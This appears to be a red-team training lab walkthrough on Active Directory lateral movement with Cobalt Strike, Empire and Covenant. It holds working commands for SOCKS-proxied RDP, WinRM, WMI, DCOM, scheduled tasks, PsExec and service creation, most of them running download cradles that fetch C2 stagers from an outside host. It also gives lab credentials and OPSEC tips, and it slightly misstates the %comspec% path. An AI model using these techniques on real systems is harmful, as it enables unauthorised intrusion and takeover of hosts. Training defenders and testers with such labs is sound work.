Lab 4.4: Lateral Movement in Active Directory
Objectives
- Learn to laterally move through an Active Directory environment
TTPs Emulated in this Lab
Preparation
Preparation Steps
If you have lost your Beacon/Grunt/Agent on wk01.draconem.corp please deploy a new one. This will be your starting point for all exercises in this lab unless instructed otherwise.
As a reminder, the credentials we have compromised are:
- Username:
Gareth.Kilgallen - password:
Hu825meapvsAq#Rx
xfreerdp +clipboard /cert-ignore /u:Gareth.Kilgallen /p:Hu825meapvsAq#Rx /v:wk01.draconem.corp
Cobalt Strike can be accessed through guacamole http://10.130.2.22:8080/guacamole username: student password:Sec565!!
The Cobalt Strike Teamserver credentials are as follows
host: 10.130.4.100
password: sec565@!
The ports you can use with Cobalt Strike are 8888 for setting up a stager and 8443 for setting up a listener.
The easiest way to land a beacon in the lab is using the Scripted Web Delivery function in Cobalt Strike and then performing a download cradle under the form of
iex (irm -useb http://10.130.4.100:8888/a)
replace /a with whatever value you provided in the dialogue in Cobalt Strike.
If you need to copy paste commands, you can do so by opening the guacamole menu. On a Windows device, the Guacamole menu is displayed by pressing Ctrl + Alt + Shift. On a Mac, the Guacamole menu is displayed by pressing Ctrl ^ + Command ⌘ + Shift.
A new guacamole menu will appear in which you'll be able to paste your text. afterwards you'll be able to paste the text of the guacamole menu in your guacamole session, just like any normal paste.
On your own
-
Laterally move to
fs01with the following credentials:Administrator-sup3rs3cr3tP@ssw0rd!!using:
1. SOCKS proxy to proxy RDP over C2.
2. PowerShell Remoting
3. WMI -
Laterally move to
hr01with the following credentials:Giulio.Stanion-d8PEZ#$UM6Vs!h5jusing:
1. DCOM
2. Scheduled Tasks
3. PSExec
4. SCM
Walkthrough
Last lab, we learned how to perform impersonation tasks and successfully impersonated administrators on the fs01.draconem.corp server.
In this lab, we will take a look at how we can utilize our new access to perform lateral movement and obtain a command-and-control channel on the server.
Using RDP
Probably the #1 most used method for performing legitimate remote tasks in an environment is still the good old Remote Desktop Protocol. From an attacker point of view, utilizing RDP is rather complex. In the vast majority of the cases, an attacker will not have a "direct" way into the network. This means that an attacker wishing to use RDP will have to "proxy" the RDP traffic over their established command-and-control channel.
Doing this has several downsides:
- RDP will be (very) slow and will get interrupted if your command-and-control channel dies/lags/halts (for example when a computer changes SSIDs if a user is taking his compromised laptop to a conference room)
- In order to have a somewhat stable RDP session, continuous traffic will need to be sent over the C2 channel. This means no more "beaconing", which increases the chances of getting detected
- Not all command-and-control channels support port-forwarding or SOCKS by default, so third-party scripts/assemblies/binaries will have to be utilized
- Concurrent RDP connections are limited, and a single user cannot have more than one session (there are ways around this by patching the service however)
Download Required!
For this lab we will need an additional tool in our Slingshot machine, open up a terminal and invoke the following commands:
cd /home/sec565/tools/
git clone https://github.com/p3nt4/Invoke-SocksProxy
Cobalt Strike Approach
5. Cobalt Strike has built in SOCKS4 and 5 capabilities.
The easiest way to utilize the SOCKS capability is by right clicking the Beacon you wish to use for SOCKS proxying and selecting Pivotting -> SOCKS Server
A new pop-up dialogue will open.
6. In the dialogue, use port 9000.
OPSEC NOTE, In a real operation, you want to use a port that blends in, a port like 8000, 8080, 8443 would do nicely here (be careful not to use a port already bound to a listener!)
Select SOCKS5 as SOCKS version. SOCKS5 has additional advantages over SOCKS4 such as UDP support, IPV6 support and DNS support over socks.
Press the Launch button.
Port 9000 is now opened on the TeamServer side of things, we can now RDP into the environment fron our slingshot Linux machine tunneling over our teamserver.
Make sure you set your sleep time to 0 by issuing sleep 0 on the beacon.
As a reminder, last lab we identified plain-text credentials of the local administrator on fs01.draconem.corp
- Username:
Administrator - Password:
sup3rs3cr3tP@ssw0rd!!
Attention
7. You will have to change your proxychains configuration to listen to 10.130.4.100 on port 9000, use your favorite text editor to modify /etc/proxychains.conf as root.

8. On your slingshot machine, open up a new terminal and use the following command to rdp over proxychains:
proxychains xfreerdp /cert-ignore /v:10.130.5.43 /u:Administrator /p:'sup3rs3cr3tP@ssw0rd!!' /d:FS01
Success, we established an RDP session over the Beacon!
Empire Approach
Empire does not have a built-in way to support RDP over the Agent.
However, Empire does have the built-in powershell/management/invoke_socksproxy command to execute a PowerShell SOCKS proxy.
In order to utilize this task, we first need to setup a receiving server side. It is good opsec to put this channel on a redirector and backchannel the traffic from redirector to the real C2 server, however this will cause additional delay.
9. On your C2 server machine, execute the following command from within the /home/sec565/tools/Invoke-SocksProxy/ directory:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
sudo python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
10. We can now launch the task, keep in mind to change your ip and port to whichever values are right for you.
- Technique : powershell/management/invoke_socksproxy
- remoteHost : YOUR IP
- remotePort : 443
If everything went well, you will see SOCKS traffic coming into the server:
11. Now we can use proxychains on our C2 server machine to proxy anything over the Agent, including RDP clients like xfreerdp:
As a reminder, last lab we identified plain-text credentials of the local administrator on fs01.draconem.corp
- Username:
Administrator - Password:
sup3rs3cr3tP@ssw0rd!!
Attention
12. It is possible you will have to change your proxychains configuration to listen on port 1080, use your favorite text editor to modify /etc/proxychains.conf as root.

13. On your slingshot machine, open up a new terminal and use the following command to rdp over proxychains:
proxychains xfreerdp /cert-ignore /v:10.130.5.43 /u:Administrator /p:'sup3rs3cr3tP@ssw0rd!!' /d:FS01
Success, we established an RDP session over the Agent!
BONUS: Covenant Approach
Covenant does not have a built-in way to support RDP over the Grunt.As a result of this, we are forced to utilize third-party tooling.
An excellent tool to use is Invoke-SocksProxy.psm1
Keep in mind that your Grunt will be busy with the socks connection, so no other commands will get executed during the period of your SOCKS traffic.
If you wish to overcome this obstacle it is best to spawn an additional Grunt.
In order to utilize this tool, we first need to setup a receiving server side.
It is good opsec to put this channel on a redirector and backchannel the traffic from redirector to the real C2 server, however this will cause additional delay.
14. On your C2 server machine, execute the following command from within the /home/sec565/tools/Invoke-SocksProxy directory:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
sudo python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
15. Now in your Covenant Grunt, import the Invoke-SocksProxy.psm1 script using the PowerShellImport task and execute it as follows don't forget to change the ip to your own VPN ip!.
powershell Invoke-ReverseSocksProxy -remotePort 443 -remoteHost YOUR_IP_HERE
If everything went well, you will see SOCKS traffic coming into the server:
16. Now we can use proxychains on our C2 server machine to proxy anything over the Grunt, including RDP clients like xfreerdp. As a reminder, last lab we identified plain-text credentials of the local administrator on fs01.draconem.corp.
- Username:
Administrator - Password:
sup3rs3cr3tP@ssw0rd!!
Attention
17. It is possible you will have to change your proxychains configuration to listen on port 1080, use your favorite text editor to modify /etc/proxychains.conf as the root user.

18. On your slingshot machine, open up a new terminal and use the following command to rdp over proxychains:
proxychains xfreerdp /cert-ignore /v:10.130.5.43 /u:Administrator /p:'sup3rs3cr3tP@ssw0rd!!' /d:FS01
Success, we established an RDP session over the Grunt!
Using Windows Remoting
Window remoting is another popular remote administration method.
The benefit of Windows Remoting over RDP is that it allows to make changes at scale, instead of having to do everything manually one by one.
It should come as no surprise that it is also a popular lateral movement technique for adversaries.
Keep in mind that we are using PowerShell for lateral movement in this case, and that PowerShell commands are prone to extensive security measures such as AMSI and script-block logging.
Cobalt Strike Approach
19. Lateral movement with Windows Remoting is very straight forward in Cobalt Strike, Cobalt Strike has a built-in jump command which supports winrm.
however, it only supports kerberos authentication. As a result we will have to perform the WinRM lateral movement a little bit more manually. Which is a good exercise, as it shows you what the jump command does under the hood.
First host a Scripted Web Delivery by Navigating to Attacks -> Scripted Web Delivery (S) in the top half of your Cobalt Strike Client.
Fill in the familiar /WindowsUpate payload as before
20. Let's construct our PowerShell OneLiner. We will create alternate credentials and pass those along with our Invoke-Command to execute our payload on FS01 using the implant we have on WK01
powershell $pspassword=ConvertTo-SecureString "sup3rs3cr3tP@ssw0rd!!" -AsPlainText -Force;$cred= New-Object System.Management.Automation.PSCredential("FS01\Administrator",$pspassword);Invoke-Command -ComputerName fs01 -Credential $cred -ScriptBlock {powershell.exe -nop -w hidden -c "IEX(irm -useb 'http://10.130.4.100:8888/WindowsUpdate')"}
After successfull completion of the command, a new Beacon will check-in with high integrity.
Empire Approach
21. Lateral movement with Windows Remoting is very straight forward in Empire, Empire has a built-in powershell/lateral_movement/invoke_psremoting task. We can run this from our agent on WK01
- computername : fs01
- username : fs01\administrator
- password : sup3rs3cr3tP@ssw0rd!!
- listener : YOUR LISTENER NAME
After successfull completion of the command, a new Agent will check-in with high integrity (it will show up as medium integrity at first, until you execute a command).
BONUS: Covenant Approach
22. Lateral movement with Windows Remoting is very straight forward in Covenant, as Covenant has a built-in PowerShellRemotingGrunt task.
PowerShellRemotingGrunt fs01.draconem.corp PowerShell fs01 administrator sup3rs3cr3tP@ssw0rd!!
After successfull completion of the command, a new Grunt will check-in with high integrity:
Using WMI
Windows Management Instrumentation (WMI) is Microsoft's implementation of the Web-Based Enterprise Management Model and can be used for a wide variety of tasks.
WMI is loved by adversaries since it can be used as a trigger based mechanism to execute arbitrary code and is therefore an ideal persistence mechanism. (for example, trigger a C2 channel when the computer has been turned on for at least 1 hour)
Since WMI has remoting capabilities, it can also be used for lateral movement. WMI used to be very hard to detect, but since sysmon introduced several event ID's that log WMI actions it is not as stealth as it once was.
Cobalt Strike Approach
23. Cobalt Strike uses WMI in it's built-in remote-exec command.
However, once again, only supporting domain authentication.
We can get around this issue by performing our WMI command manually as this allows us to specify username and password (obviously, not opsec safe).
shell wmic /NODE:fs01 /user:"FS01\Administrator" /password: "sup3rs3cr3tP@ssw0rd!!" process call create "powershell IEX ((new-object net.webclient).downloadstring('http://10.130.4.100:8888/WindowsUpdate'))"
After successfull completion of the command, a new Beacon will check-in with high integrity.
Empire Approach
24. Empire has a built-in powershell/lateral_movement/invoke_wmi Task that supports lateral movement over WMI.
- computername : fs01
- listener : choose from the dropdown
- password : sup3rs3cr3tP@ssw0rd!!
- username : Administrator
After successfull completion of the command, a new Agent will check-in with high integrity.
BONUS: Covenant Approach
25. Covenant has the built-in WMIGrunt Task for lateral movement over WMI:
WMIGrunt /computername:"fs01" /launcher:"PowerShell" /username:"FS01\Administrator" /password:"sup3rs3cr3tP@ssw0rd!!"
After successfull completion of the command, a new Grunt will check-in with high integrity.
Using DCOM
COM (Component Object Model) objects are objects that are "exposed" on the operating system, much like an API.
These Objects allow other software to interact with itself and can be found in excess on any modern Windows operating system.
DCOM lateral movement has been one of the better lateral movement techniques for years, however as they became more popular and were starting to get more attention by bloggers and open source tooling, detection rates skyrocketted.
They still have their uses, but the well documented COM objects that can be used for lateral movement are pretty easily spotted nowadays, of course your mileage can vary from environment to environment.
In case your DCOM Lateral Movement Fails
DCOM is quite brittle in case users are not actively using systems. As this is a lab range with no valid user interaction, DCOM lateral movement sometimes fails. Especially when trying to do it multiple times.
A "workaround" for this issue would be to login to the machine over RDP and restart the computer (HR01)
xfreerdp +clipboard /cert-ignore /u:Giulio.Stanion /p:'d8PEZ#$UM6Vs!h5j' /v:hr01.draconem.corp
Cobalt Strike Approach
26. DCOM lateral movement is not built into Cobalt Strike. Furthermore, DCOM does not like token impersonation. As a result you will need a C2 channel as the user you wish to lateraly move with.
Please spawn a new Beacon using the following command (if your listener is called something other than HTTPS-SHORT, please replace with the name of your listener (can be tab completed))
spawnas draconem\Giulio.Stanion d8PEZ#$UM6Vs!h5j HTTPS-SHORT
27. In order to lateraly move over DCOM, the easiest way would be to use PowerShell, we have the following Script available to us in C:\Tools
function Invoke-MMC20
{
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$Target,
[Parameter(Mandatory=$True)]
[string] $Command
)
echo "executing $Command on $Target"
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application",$Target))
$a.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,$Command,"")
}
powershell-import C:\Tools\Invoke-MMC20.ps1
powershell Invoke-MMC20 -Target HR01 -Command "IEX ((new-object net.webclient).downloadstring('http://10.130.4.100:8888/WindowsUpdate'))"
After a few seconds, a new beacon will check in on HR01
Empire Approach
Like with Cobalt Strike (and the Covenant Framework - see Bonus Exercise), DCOM does not play well with token impersonation. As a result, you will need to have an agent running as a domain user that is authorized to access the COM interface on the remote machine (requires local admin rights).
28. We will therefore have to spawn an additional agent with the following credentials we can use the powershell/management/spawnas task to achieve this:
Domain:draconem.corpUsername:Giulio.StanionPassword:d8PEZ#$UM6Vs!h5jlistener:YOUR LISTENER NAME
29. Now that we have a new agent under Giulio's security context, we can create and execute a simple PowerShell script to execute the MMC20.Application COM Object.
open up a text editor and save the script as Invoke-MMC20.ps1 under /home/sec565/tools.
function Invoke-MMC20
{
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$Target,
[Parameter(Mandatory=$True)]
[string] $Command
)
echo "executing $Command on $Target"
$a = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application",$Target))
$a.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe",$null,$Command,"")
}
30. Let's setup a simple http server that will serve as our stage, this will make our execution easier and less error prone. Create a new directory called staging (cd /home/sec565/tools)(mkdir staging).
31. Go to the Stagers tab in starkiller and copy the multi/launcher stager to clipboard, put the copied stager in a document and call it stager.ps1. Save it in /home/sec565/tools/staging.
32. Open up a new terminal and cd /home/sec565/tools/staging (The location where you have saved the stager).
33. Invoke a HTTP server with python using python3 -m http.server 6666:
Attention
In a real operation, a decoupeling of your staging payload and C2 server would be ideal for opsec purposes, that way if your stager URL gets "burned" it does not neccesarily mean that your C2 channel will be burned as well.
34. We can now use the powershell/management/invoke_script task to pull our stager over the COM object.
- ScriptCmd:Invoke-MMC20 -Target hr01 -command "iex(iwr -useb http://<yourIP>:<yourport>/stager.ps1)"
- ScriptPath:/home/sec565/tools/Invoke-MMC20.ps1 (unless you saved it somewhere else)
After a few seconds, a new Agent will call back in high integrity.
Note
In case nothing happens, make sure you did not typo the command section of the script. It is easy to miss a " or ().
BONUS: Covenant Approach
Covenant often has multiple options built-in without explicitly documenting them.
This often results in inexperienced operators picking the defaults which are also the most signatured.
In case you are ever in doubt, you can see the implementation of the code by navigating to the tasks tab and then navigating to the task you wish to inspect.
Here is an example of the interesting options we can pick for the DCOMGrunt task:
In this lab however, we will go with the default mmc20_application as the other COM objects are likely not instantiated.
In a real world scenario you would not encounter this shortcoming.
Attention
The DCOM grunt does not play well with maketoken.
As a result you will need to have a grunt running as a domain user that is authorized to access the COM interface on the remote machine (requires local admin rights).
In order to facilitate this we will use the following credentials:
- Username:
Giulio.Stanion - Password:
d8PEZ#$UM6Vs!h5j
We can use the ShellRunAs task in Covenant to spawn a new Grunt as Giulio.
35. Let's make sure we have a Covenant stager ready to get pulled down. go to Launchers - PowerShell Launcher -Host and in the Url field type /covenant and press the Host button.
Take note of the Launcher output, specifically the http://yourip:port/covenant section. Please copy it to your clipboard and save the URL somewhere for example in a notepad, or remember it as we will need to use this stager URL throughout the rest of the exercises!
36. Now we can use the ShellRunAs command in Covenant to pull down our Covenant stager and get a new Grunt running under our "compromised" user.
Make sure you replace the http://10.254.252.2:8443/covenant with your own stager URL (that you just copied in the step above)
ShellRunAs /shellcommand:"cmd /c powershell iex(iwr -useb http://10.254.252.2:8443/covenant)" /username:"Giulio.Stanion" /domain:"draconem.corp" /password:"d8PEZ#$UM6Vs!h5j"
37. In our new Grunt running as Giulio, we can use the DCOMGrunt command to perform the lateral movement.
DCOMGrunt hr01 PowerShell
After a few seconds, a new Grunt will check-in with high integrity.
Using scheduled tasks
An all time classic in the realm of persistence are scheduled tasks as they form a reliable execution method thanks to their trigger based controls. Through some Remote Process Call (RPC) logic, it is possible to schedule and execute tasks remotely, making it a decent lateral movement mechanism as well. As with all lateral movement techniques, be careful of your opsec as of course numerous events get logged when creating and executing a scheduled task.
Cobalt Strike Approach
38. We could create a PowerShell script to perform this task as well. But let's switch it up for the Cobalt Strike approach (spoiler, we will create the script for Empire ;-) )
Let's take a look at SharpMove which can help with this endeavor. which is also capable of performing some of the other lateral movement tasks we have already performed!
You can find SharpMove in the c:\Tools folder. Let's run this on the Beacon that is running as giulio on wk01.
execute-assembly C:\Tools\SharpMove.exe action=taskscheduler computername=hr01 command="cmd.exe /c powershell iex(iwr -useb 'http://10.130.4.100:8888/WindowsUpdate')"
Empire Approach
Let's create a custom script that will:
- create the scheduled task
- run the scheduled task
- delete the scheduled task
If you remember from the lecture, using the PowerShell commandlets to do this will force us to establish an SMB connection, whereas using the schtasks binary will allow us to create the task over RPC. For this reason, we favor schtasks over Powershell.
39. Open up nano or a text editor of your choosing (right click - create document also works) and copy the following script and save it as Invoke-SchTaskLatMove.ps1 in /home/sec565/tools.
function Invoke-SchTaskLatMove
{
[CmdletBinding()]
Param (
[Parameter(Mandatory=$True)]
[string]$Target,
[Parameter(Mandatory=$False)]
[string] $TaskName = "WindowsUpdateTask",
[Parameter(Mandatory=$True)]
[string] $Command
)
echo "creating task $TaskName on $Target running as SYSTEM"
C:\Windows\system32\schtasks.exe /create /tn $TaskName /tr "C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe $Command" /sc once /st 00:00 /S $Target /RL Highest /RU "SYSTEM"
echo "running task"
C:\Windows\system32\schtasks.exe /run /tn $TaskName /S $Target
echo "deleting task"
C:\Windows\system32\schtasks.exe /F /delete /tn $TaskName /S $Target
echo "all done, enjoy"
}
Warning:If you have stopped your webserver from step 28 - 33, please make sure to redo these steps first.
40. We can now use the powershell/management/invoke_script task to pull our stager as SYSTEM using a scheduled task. Let's execute this from the Agent running as Giulio on wk01
- ScriptCmd:Invoke-SchTaskLatMove -Target hr01 -Command "iex(iwr -useb http://<YOURIP>:<YOURPORT>/stager.ps1)"
- ScriptPath: /home/sec565/tools/Invoke-SchTaskLatMove.ps1
After a few seconds, a new Agent will call back as SYSTEM.
Note
In case nothing happens, make sure you did not typo the command section of the script. It is easy to miss a " or ().
BONUS: Covenant Approach
Covenant does not have any built-in mechanism for taskscheduling but we can use SharpMove (/home/sec565/tools/SharMove.exe) to do the heavy lifting for us.
41. Let's run this command on the wk01 Grunt running as Giulio and lateral move to hr01.
make sure you replace the stager URL with your own!
Assembly /assemblyname:"SharpMove" /parameters:"action=taskscheduler computername=hr01 command=\"cmd.exe /c powershell iex(iwr -useb 'http://10.254.252.2:8443/covenant')\" taskname=WindowsUpdateService"
After a few seconds we will get a SYSTEM Grunt check-in:
Using PSExec
PSExec is a Microsoft signed tool that is part of the infamous sysinternals suite. It is litteraly made to be a lateral movement tool, as the original use case is to perform remote administration with the capabilities of running as system when needed. From an OPSEC perspective, it is nice that the tool is Microsoft signed, but if it is not used in the environment regularly, it will stick out. PSExec creates named pipes and a service and is thus very easily detectable.
Cobalt Strike Approach
42. Cobalt Strike has psexec like functionality built in using the jump command. Do note that this does NOT use the actual Microsoft signed psexec, we will see an example of dropping psexec to disk in the Covenant Bonus exercise, the same steps can be reproduced in Cobalt Strike.
On the Beacon running as Giulio on WK01, run the following command. (if your listener is called something other than HTTPS-SHORT, please fill in your listenername instead (can be tab completed))
jump psexec64 hr01 HTTPS-SHORT
There are some obvious downsides to using the built-in approach, for example Cobalt Strike generates a random file and servicename of 7 characters and will always upload the service binary to the ADMIN$ share.
Empire Approach
43. In the Covenant approach, we have uploaded the legitimate PSExec to disk and executed it. The plus side is that PSExec is Microsoft signed, the downside is that it has to be dropped to disk. To illustrate a different approach, we will utilize the powershell/lateral_movement/invoke_psexec task. This task will not drop anything to disk, but will instead use API calls to create a service and launch it. Once agian, run this from the Agent running as Giulio on wk01.
- ComputerName : hr01
- Listener : select from dropdown menu
After a few seconds, a SYSTEM agent will check-in.
BONUS: Covenant Approach
PsExec will need to get dropped on the infected system in order to be able to get executed. As a result, we need a Grunt that is running under the context of a user that is able to access both the infected host's filesystem and has administrative access on the system you wish to move to. We could also use the ShellRunAs command to invoke PsExec as an alternate user if you do not wish to spawn a new Grunt with the required privileges. This will of course require you to know a privileged user's plain-text password though.
Let's once again use the Grunt running as Giulio on wk01.
44. Dropping PsExec to disk can be done using the upload task. PsExec64.exe can be found in /home/sec565/tools.
Upload /filepath:"C:\Users\Public\PSExec.exe"
45. After PsExec has been uploaded, we can go on and execute it using the Powershell or ShellCmd task.
Do not forget to change the staging URL to your own url!
shellcmd C:\Users\Public\PSExec.exe -accepteula \\hr01.draconem.corp cmd.exe /c powershell iex(iwr -useb http://10.254.252.2:8443/covenant)
After a few seconds, a new Grunt will check-in with high integrity:
Using SCM
The Service Control Manager (SCM) allows to stop/start/modify and create services. It is possible to do this remotely over RPC calls, provided the user invoking the SCM is a local administator on the remote machine. Keep in mind that service creation requires a special service binary, a regular binary could get executed, but will die after about 5 seconds.
It is advised to create a service binary, or use a binary that is capeable of performing code injection into another process or spawns a new process, that way it does not matter if the service dies as your C2 channel will live on in the injected process or the additionally spawned process. From an OPSEC perspective, service creation is pretty low profile, especially over RPC, making it relatively opsec safe. Of course, for additional OPSEC, a modification of an existing (stopped) service could also be used.
The neatest implementation of this feature is a project coded by MR-Un1k0d3r called SCShell, feel free to have that project a go when you have some time left in the lab.
Cobalt Strike Approach
Cobalt Strike can also perform service creation to execute powershell oneliners instead of dropping binaries to disk.
There is a downside to this approach as well however, as the generated oneliner will always spawn a 32bit beacon.
46. On the Beacon running as Giulio on WK01, run the following command. (if your listener is called something other than HTTPS-SHORT, please fill in your listenername instead (can be tab completed))
jump psexec_psh HR01 HTTPS-SHORT
Empire Approach
As you can imagine, the powershell/lateral_movement/invoke_psexec task is far superior to manually creating a service. However for the sake of completeness, let's do just that. Contrary to what you might think the Shell Command in Empire is not cmd.exe but PowerShell. As a result, service creation is a bit annoying, so let us just create a very basic script that automates the service creation for us, copy your multi\launcher code to the clipboard and paste it in the approriate place in the script.
47. Open a text editor like nano (or right click - create new document) and paste the following code:
function Invoke-Update {
C:\Windows\system32\sc.exe \\hr01 create UpdateService binpath= "%comspec% /c <multi\launcher code here>"
C:\Windows\system32\sc.exe \\hr01 start UpdateService
C:\Windows\system32\sc.exe \\hr01 delete UpdateService
}
48. Save the script as Invoke-Update.ps1 in /home/sec565/tools
49. We can now use the powershell/management/invoke_script script to run our basic script.
- ScriptCmd:Invoke-Update
- ScriptPath:/home/sec565/tools/Invoke-Update.ps1
After a while we will get a SYSTEM level agent back.
BONUS: Covenant Approach
50. Let's utilize the ShellCmd Task to create and start the task.
Make sure to replace the stager URL with your own!
shellcmd sc \\hr01 create TestService binpath= "%comspec% /c C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iex(iwr -useb http://10.254.252.2:8443/covenant)"
shellcmd sc \\hr01 start TestService
Can you figure out what %comspec% is?
%comspec% is an environment variable that expands to C:\System32\cmd.exe
After a few seconds, a new Grunt will check-in as SYSTEM:
If you have some extra time, why don't you give it a go with the other C2 channel? :)
Alternatively, you can experiment with using SOCKS to lateral move with Linux options such as evil-winrm, psexec.py, smbexec.py, ...

































